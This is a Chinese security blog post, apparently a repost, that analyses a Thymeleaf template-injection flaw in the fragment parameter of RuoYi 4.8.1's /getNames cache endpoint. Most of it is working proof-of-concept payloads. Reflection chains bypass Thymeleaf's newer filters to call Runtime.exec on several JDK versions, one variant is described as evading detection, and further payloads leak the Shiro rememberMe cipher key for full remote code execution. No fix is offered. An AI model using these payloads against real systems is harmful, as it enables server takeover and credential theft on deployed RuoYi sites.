文章总结: 文章分析若依4.8.1版本CacheController存在Thymeleaf表达式注入漏洞,通过构造特殊payload绕过新版Thymeleaf限制实现命令执行。作者详细演示了利用链构造过程,解决了高版本JDK兼容性问题,并进一步展示了通过该漏洞泄露Shiro密钥最终实现RCE的攻击路径。 综合评分: 87 文章分类: 漏洞分析,WEB安全,实战经验,漏洞POC
若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE(全JAVA版本绕过,附带POC)
原创
1dreamGN
糖心安全
2025年12月3日 09:25 贵州
#
什么是Thymeleaf表达式注入?
Thymeleaf是一种流行的Java模板引擎,用于在Web应用中生成动态HTML页面。表达式注入是指攻击者通过输入精心构造的数据,使得应用程序执行了非预期的表达式代码。
成功的Thymeleaf表达式注入可能导致远程代码执行、数据库信息泄露、服务器被完全控制等严重后果。
漏洞分析
RCE
发现的这个漏洞存在于若依管理系统的CacheController.java文件中,涉及/getNames接口:
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment; // 模板注入漏洞
}
漏洞点:
- 控制器:
CacheController.java - 接口:
/getNames - 漏洞字段:
fragment参数 - 漏洞原因:直接将用户输入拼接到Thymeleaf模板路径中。
在上面的文章中,已知这个点存在ssti漏洞,并且可直接通过表达式传入命令执行方法执行命令。在当前版本中,之前的表达式注入已失效,通过__|$${表达式}|__::.x 该格式可进行绕过,先来试验一下:
fragment=__|$${#response.getWriter().print('111')}|__::.x
发现是可以绕过的,页面成功输出111,但是想要和之前的payload一样直接反射调用runtime是不行的,原因在于最新版本的Thymeleaf中,SpringStandardExpressionUtils类将检查方法从containsSpELInstantiationOrStatic升级为containsSpELInstantiationOrStaticOrParam,并加强了检查逻辑,明确禁止上述危险语法的使用。这使得直接使用这些语法进行攻击变得更加困难。
最新版本中禁用的语法:
- ❌
T(java.lang.Runtime)(类型引用) - ❌
new java.io.File()(对象实例化) - ❌
T ()(带空格的类型引用) - ❌
param(参数引用)
遇事不决先问AI,看看java命令执行和代码执行的方法都有什么:
嗯,还挺多,org.springframework.expression.spel.standard.SpelExpressionParser 和javax.script.ScriptEngineManager 但是javax.script.ScriptEngineManager从 JDK 15 开始,Nashorn JavaScript 引擎已被移除,这种利用方式在 JDK 15+ 环境下会失效;ProcessBuilder可直接new.java.lang.ProcessBuilder,这几个先不试了。
经过测试,变量注入表达式也是行不通的,但是通过链式调用是可以成功执行的,因此表达式格式可以使用方法链式调用。之前的利用链不可用,经过查找,发现可以在SecurityManager 中获取获取getRuntime方法,根据之前payload的调用方法,构造出以下利用链:
获取SecurityManager → 获取Class → 获取ClassLoader → 加载Runtime类 → 获取getRuntime方法 → 获取Runtime实例 → 获取exec方法 → 执行系统命令
那么构造出如下利用链:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods().?[name=='getRuntime'][0].invoke(null).exec('calc'))}|__::.x
现在执行这个payload,看是否能够执行。
直接500报错,那么为什么这个链看起来是正常的却不能执行?先一步一步来,一点一点删除调用的方法,直到删除到loadClass('java.lang.Runtime') 这个地方成功输出。
看来是有某个安全监测机制不让获取getRuntime方法,那么还有机会能绕过吗?有的。在 SpEL 中,对于无参数的方法调用,括号 () 是可选的,getMethods()和
getMethods作用是一样的,那么试一下把括号去掉是否报错。
没有报错,成功获取到getRuntime方法,那现在继续调试上面完整的利用链。
还是报错,从目前来看,直接调用exec的话会被监测机制拦截到,用同样的方法反射调用exec。
还是报错500,通过观察当前利用链,将getClass()的括号删除。
获取成功,现在只获取到了方法,但是没反射调用,由于获取到的是第一个exec方法,在查找当前exec方法的用法后,构造以下利用链:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x
等价于Runtime.exec(Runtime.getRuntime,”calc”);,意思就是执行Runtime.getRuntime中的exec方法。
成功执行命令。~~经过测试jdk8u192可执行命令,300+以上版本就不行了,高版本暂时没分析。~~
填个坑,其实jdk高版本和低版本调用的不是一个exec方法,上面使用的jdk是8。爆破exec方法位置,如下高版本也执行成功:
利用链如下:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][5].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x
我发现每个版本,比如jdk8、jdk11、jdk21每个exec的方法位置可能不同,可以进行爆破方法位置来确定exec的位置,比如:
21版本在第4个位置,其他版本可以进行爆破。
或者使用空字符串( ” )作为起点,这个同样要爆破exec位置,比 @securityManager 更隐蔽,绕过类加载检测,使用 forName() 替代 loadClass() ,可能绕过某些针对特定方法名的检测:
fragment=__|$${#response.getWriter().print("".getClass().forName("java.lang.Runtime").getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke("".getClass().forName("java.lang.Runtime").getMethods.?[name=='getRuntime'][0].invoke(null),"calc"))}|__::.x
解释一下如果将对象变成空字符串:”.getClass().getClassLoader().loadClass(‘java.lang.Runtime’) 报错的主要原因是:
-
ClassLoader为null :String类是由JVM的bootstrap classloader加载的,而bootstrap classloader在Java中表示为null,所以调用 ”.getClass().getClassLoader() 会返回null,导致后续调用 loadClass() 方法时抛出NullPointerException。
-
正确的写法应该是 :
使用 ”.getClass().forName(‘java.lang.Runtime’)
或者 Class.forName(‘java.lang.Runtime’)
- 为什么forName可以工作 :
Class.forName() 方法内部会处理bootstrap classloader加载的类
即使底层使用的是null classloader,forName方法也能正确处理核心Java类
利用链思维图(ai生成的,箭头有点乱,按顺序看就好)
ShiroKey至RCE
上面的rce就结束了,但是观察代码发现,若依最新版本shirokey由SpringBean管理,可以调用SpringBean获取shirokey,下面开始查找shirokey的利用链。
首先先查找shiro关键方法,发现在securityManager Bean下存在如下代码:
@Bean
public SecurityManager securityManager(UserRealm userRealm)
{
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
// 设置realm
securityManager.setRealm(userRealm);
// 记住我
securityManager.setRememberMeManager(rememberMe ? rememberMeManager() : null);
// 注入缓存管理器
securityManager.setCacheManager(getEhCacheManager());
// session管理器
securityManager.setSessionManager(sessionManager());
return securityManager;
}
在securityManager方法中,通过rememberMeManager()方法设置rememberMeManager:
public CustomCookieRememberMeManager rememberMeManager()
{
CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
if (StringUtils.isNotEmpty(cipherKey))
{
cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
}
else
{
cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
}
return cookieRememberMeManager;
}
如果配置文件中设置了 shiro.cookie.cipherKey ,则使用该配置的Base64解码值,否则,通过 CipherUtils.generateNewKey(128, “AES”).getEncoded() 生成随机密钥,进入生成随机密钥的方法实现:
public static Key generateNewKey(int keyBitSize, String algorithmName)
{
KeyGenerator kg;
try
{
kg = KeyGenerator.getInstance(algorithmName);
}
catch (NoSuchAlgorithmException e)
{
String msg = "Unable to acquire " + algorithmName + " algorithm. This is required to function.";
throw new IllegalStateException(msg, e);
}
kg.init(keyBitSize);
return kg.generateKey();
}
找到了cipherKey的位置,现在通过表达式获取一下试试:
fragment=__|$${#response.getWriter().print(@securityManager.rememberMeManager.cipherKey)}|__::.x
成功获取到shirokey的字节码,接下来,通过上面的代码,反射调用加密方法并加密shirokey,构造利用链如下:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getDeclaredMethod('getEncoder').invoke(null).encodeToString(@securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager())))}|__::.x
详细解释一下表达式调用链结构,在表达式 @securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name==’getCipherKey’][0].invoke(@securityManager.getRememberMeManager()) 中:
-
@securityManager.getRememberMeManager() :获取rememberMeManager对象实例
-
.getClass().getSuperclass() :获取该对象的父类(即CookieRememberMeManager)
-
.getMethods().?[name==’getCipherKey’][0] :找到名为getCipherKey的方法
-
.invoke(@securityManager.getRememberMeManager()) :调用该方法,第一个参数是方法的调用目标对象
非静态方法调用 : getCipherKey() 是非静态方法,必须在一个具体的对象实例上调用
实例方法的特性 :实例方法操作的是对象的成员变量(cipherKey就是rememberMeManager对象的一个成员变量)
反射机制要求 :当使用反射API调用非静态方法时,必须提供该方法所属的对象实例作为invoke的第一个参数
如果不提供对象实例,Java运行时将不知道从哪个对象中获取cipherKey的值。这就像调用普通方法时,必须指定是哪个对象调用该方法一样(如 obj.method() 而不是 method() )。
运行该表达式。
成功获取,该表达式还可以精简一下:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
使用获取到的key,放到工具里测试下:
成功RCE。
思路来源公众号
https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:糖心安全 1dreamGN《若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE(全JAVA版本绕过,附带POC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论